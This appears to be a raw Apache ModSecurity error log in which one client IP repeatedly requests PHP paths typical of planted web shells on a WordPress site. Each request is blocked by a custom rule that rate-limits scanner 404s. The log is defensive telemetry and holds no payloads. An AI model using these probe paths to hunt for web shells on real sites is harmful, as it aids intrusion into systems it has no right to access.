[Tue May 19 03:57:00.267420 2026] [:error] [pid 34810:tid 34833] [client 172.173.117.54:61510] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "agtvDHLwdc8JcvxViQXxOgAAANU"]
[Tue May 19 03:57:00.677063 2026] [:error] [pid 34691:tid 34770] [client 172.173.117.54:61516] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "agtvDIGYsOBD9bWkFnTjlgAAAIg"]
[Tue May 19 03:57:01.109536 2026] [:error] [pid 34691:tid 34783] [client 172.173.117.54:59829] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "agtvDYGYsOBD9bWkFnTjmgAAAJU"]
[Tue May 19 03:57:01.492656 2026] [:error] [pid 34691:tid 34785] [client 172.173.117.54:61443] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "agtvDYGYsOBD9bWkFnTjmwAAAJc"]
[Tue May 19 03:57:01.888357 2026] [:error] [pid 34810:tid 34816] [client 172.173.117.54:64499] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "agtvDXLwdc8JcvxViQXxOwAAAMQ"]
[Tue May 19 03:57:02.341405 2026] [:error] [pid 34691:tid 34779] [client 172.173.117.54:64502] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "agtvDoGYsOBD9bWkFnTjnAAAAJE"]
[Tue May 19 03:57:15.909479 2026] [:error] [pid 34690:tid 34751] [client 172.173.117.54:64476] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agtvG4Qwnq2meDg4FYnhpgAAAFA"]
[Tue May 19 03:57:19.503983 2026] [:error] [pid 34810:tid 34816] [client 172.173.117.54:64500] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agtvH3Lwdc8JcvxViQXxSQAAAMQ"]
[Tue May 19 03:57:20.343510 2026] [:error] [pid 34810:tid 34823] [client 172.173.117.54:62881] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agtvIHLwdc8JcvxViQXxSwAAAMs"]
[Tue May 19 03:57:20.868459 2026] [:error] [pid 34689:tid 34717] [client 172.173.117.54:64432] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agtvIJWxMX-BooBZ30HA4AAAABU"]
[Tue May 19 03:57:21.440899 2026] [:error] [pid 34689:tid 34720] [client 172.173.117.54:64463] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agtvIZWxMX-BooBZ30HA4QAAABg"]
[Tue May 19 03:57:21.879350 2026] [:error] [pid 34689:tid 34714] [client 172.173.117.54:62903] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agtvIZWxMX-BooBZ30HA4wAAABI"]
[Tue May 19 03:57:22.267044 2026] [:error] [pid 34810:tid 34815] [client 172.173.117.54:65215] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agtvInLwdc8JcvxViQXxTQAAAMM"]
[Tue May 19 03:57:22.738495 2026] [:error] [pid 34689:tid 34718] [client 172.173.117.54:61538] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agtvIpWxMX-BooBZ30HA5QAAABY"]
[Tue May 19 03:57:23.228062 2026] [:error] [pid 34689:tid 34707] [client 172.173.117.54:65154] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "agtvI5WxMX-BooBZ30HA5gAAAAs"]
[Tue May 19 03:57:23.652475 2026] [:error] [pid 34689:tid 34711] [client 172.173.117.54:59823] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "agtvI5WxMX-BooBZ30HA6AAAAA8"]
[Tue May 19 03:57:24.109866 2026] [:error] [pid 34689:tid 34713] [client 172.173.117.54:59321] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "agtvJJWxMX-BooBZ30HA6QAAABE"]
[Tue May 19 03:57:24.626541 2026] [:error] [pid 34689:tid 34708] [client 172.173.117.54:61506] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "agtvJJWxMX-BooBZ30HA6gAAAAw"]
[Tue May 19 03:57:25.260984 2026] [:error] [pid 34689:tid 34709] [client 172.173.117.54:59777] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "agtvJZWxMX-BooBZ30HA7QAAAA0"]
[Tue May 19 03:57:25.701338 2026] [:error] [pid 34690:tid 34747] [client 172.173.117.54:65241] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "agtvJYQwnq2meDg4FYnhqQAAAEw"]
[Tue May 19 03:57:26.158226 2026] [:error] [pid 34810:tid 34832] [client 172.173.117.54:62951] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "agtvJnLwdc8JcvxViQXxVAAAANQ"]
[Tue May 19 03:57:26.561991 2026] [:error] [pid 34691:tid 34773] [client 172.173.117.54:64454] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "agtvJoGYsOBD9bWkFnTjqgAAAIs"]
[Tue May 19 03:57:26.939956 2026] [:error] [pid 34691:tid 34765] [client 172.173.117.54:61563] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agtvJoGYsOBD9bWkFnTjsAAAAIM"]
[Tue May 19 03:57:27.350850 2026] [:error] [pid 34690:tid 34755] [client 172.173.117.54:61524] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agtvJ4Qwnq2meDg4FYnhqgAAAFQ"]
[Tue May 19 03:57:27.740999 2026] [:error] [pid 34810:tid 34826] [client 172.173.117.54:64398] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agtvJ3Lwdc8JcvxViQXxVwAAAM4"]
[Tue May 19 03:57:28.183960 2026] [:error] [pid 34810:tid 34831] [client 172.173.117.54:62949] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "agtvKHLwdc8JcvxViQXxWQAAANM"]
[Tue May 19 03:57:28.597670 2026] [:error] [pid 34810:tid 34821] [client 172.173.117.54:58852] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agtvKHLwdc8JcvxViQXxXAAAAMk"]
[Tue May 19 03:57:29.081384 2026] [:error] [pid 34810:tid 34814] [client 172.173.117.54:64441] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agtvKXLwdc8JcvxViQXxYQAAAMI"]
[Tue May 19 03:57:29.538420 2026] [:error] [pid 34810:tid 34833] [client 172.173.117.54:59380] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agtvKXLwdc8JcvxViQXxYwAAANU"]
[Tue May 19 03:57:29.955072 2026] [:error] [pid 34810:tid 34834] [client 172.173.117.54:65216] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agtvKXLwdc8JcvxViQXxZAAAANY"]
[Tue May 19 03:57:30.443777 2026] [:error] [pid 34810:tid 34827] [client 172.173.117.54:64430] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "agtvKnLwdc8JcvxViQXxZwAAAM8"]
[Tue May 19 03:57:30.841112 2026] [:error] [pid 34810:tid 34831] [client 172.173.117.54:64425] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "agtvKnLwdc8JcvxViQXxaQAAANM"]
[Tue May 19 03:57:31.238271 2026] [:error] [pid 34691:tid 34766] [client 172.173.117.54:59266] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "agtvK4GYsOBD9bWkFnTjvQAAAIQ"]
[Tue May 19 03:57:31.618372 2026] [:error] [pid 34691:tid 34777] [client 172.173.117.54:65275] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "agtvK4GYsOBD9bWkFnTjvwAAAI8"]
[Tue May 19 03:57:32.007641 2026] [:error] [pid 34689:tid 34700] [client 172.173.117.54:64405] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "agtvLJWxMX-BooBZ30HA-AAAAAQ"]
[Tue May 19 03:57:32.444465 2026] [:error] [pid 34690:tid 34741] [client 172.173.117.54:59363] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "agtvLIQwnq2meDg4FYnhrQAAAEY"]
[Tue May 19 03:57:32.884056 2026] [:error] [pid 34810:tid 34816] [client 172.173.117.54:64395] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "agtvLHLwdc8JcvxViQXxbwAAAMQ"]
[Tue May 19 03:57:33.261026 2026] [:error] [pid 34690:tid 34740] [client 172.173.117.54:62860] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "agtvLYQwnq2meDg4FYnhrgAAAEU"]
[Tue May 19 03:57:33.778347 2026] [:error] [pid 34691:tid 34766] [client 172.173.117.54:59862] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agtvLYGYsOBD9bWkFnTjxwAAAIQ"]
[Tue May 19 03:57:34.433871 2026] [:error] [pid 34810:tid 34836] [client 172.173.117.54:65252] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agtvLnLwdc8JcvxViQXxcgAAANg"]
[Tue May 19 03:57:34.885899 2026] [:error] [pid 34691:tid 34786] [client 172.173.117.54:61457] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agtvLoGYsOBD9bWkFnTjygAAAJg"]
[Tue May 19 03:57:37.852543 2026] [:error] [pid 34689:tid 34710] [client 172.173.117.54:58757] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agtvMZWxMX-BooBZ30HA_wAAAA4"]
[Tue May 19 03:57:38.312849 2026] [:error] [pid 34691:tid 34769] [client 172.173.117.54:58848] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "agtvMoGYsOBD9bWkFnTjzwAAAIc"]
[Tue May 19 03:57:38.701978 2026] [:error] [pid 34810:tid 34826] [client 172.173.117.54:64399] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "agtvMnLwdc8JcvxViQXxfAAAAM4"]
[Tue May 19 03:57:39.311423 2026] [:error] [pid 34689:tid 34706] [client 172.173.117.54:64459] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "agtvM5WxMX-BooBZ30HBAQAAAAo"]
[Tue May 19 03:57:39.780418 2026] [:error] [pid 34691:tid 34772] [client 172.173.117.54:65176] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "agtvM4GYsOBD9bWkFnTj0wAAAIo"]
[Tue May 19 03:57:40.175320 2026] [:error] [pid 34689:tid 34699] [client 172.173.117.54:64466] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "agtvNJWxMX-BooBZ30HBBgAAAAM"]
[Tue May 19 03:57:40.659038 2026] [:error] [pid 34689:tid 34703] [client 172.173.117.54:62967] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "agtvNJWxMX-BooBZ30HBBwAAAAc"]
[Tue May 19 03:57:41.079899 2026] [:error] [pid 34689:tid 34714] [client 172.173.117.54:62859] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "agtvNZWxMX-BooBZ30HBCgAAABI"]
[Tue May 19 03:57:41.484978 2026] [:error] [pid 34690:tid 34759] [client 172.173.117.54:62896] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "agtvNYQwnq2meDg4FYnhsgAAAFg"]
[Tue May 19 03:57:41.967149 2026] [:error] [pid 34690:tid 34754] [client 172.173.117.54:62932] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "agtvNYQwnq2meDg4FYnhtAAAAFM"]
[Tue May 19 03:57:42.404908 2026] [:error] [pid 34689:tid 34701] [client 172.173.117.54:59810] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "agtvNpWxMX-BooBZ30HBDQAAAAU"]
[Tue May 19 03:57:42.836071 2026] [:error] [pid 34690:tid 34757] [client 172.173.117.54:61521] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "agtvNoQwnq2meDg4FYnhtwAAAFY"]
[Tue May 19 03:57:43.343380 2026] [:error] [pid 34810:tid 34833] [client 172.173.117.54:64460] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "agtvN3Lwdc8JcvxViQXxgAAAANU"]
[Tue May 19 03:57:43.864965 2026] [:error] [pid 34690:tid 34747] [client 172.173.117.54:62973] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "agtvN4Qwnq2meDg4FYnhuAAAAEw"]
[Tue May 19 03:57:44.332640 2026] [:error] [pid 34689:tid 34713] [client 172.173.117.54:59273] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "agtvOJWxMX-BooBZ30HBEwAAABE"]
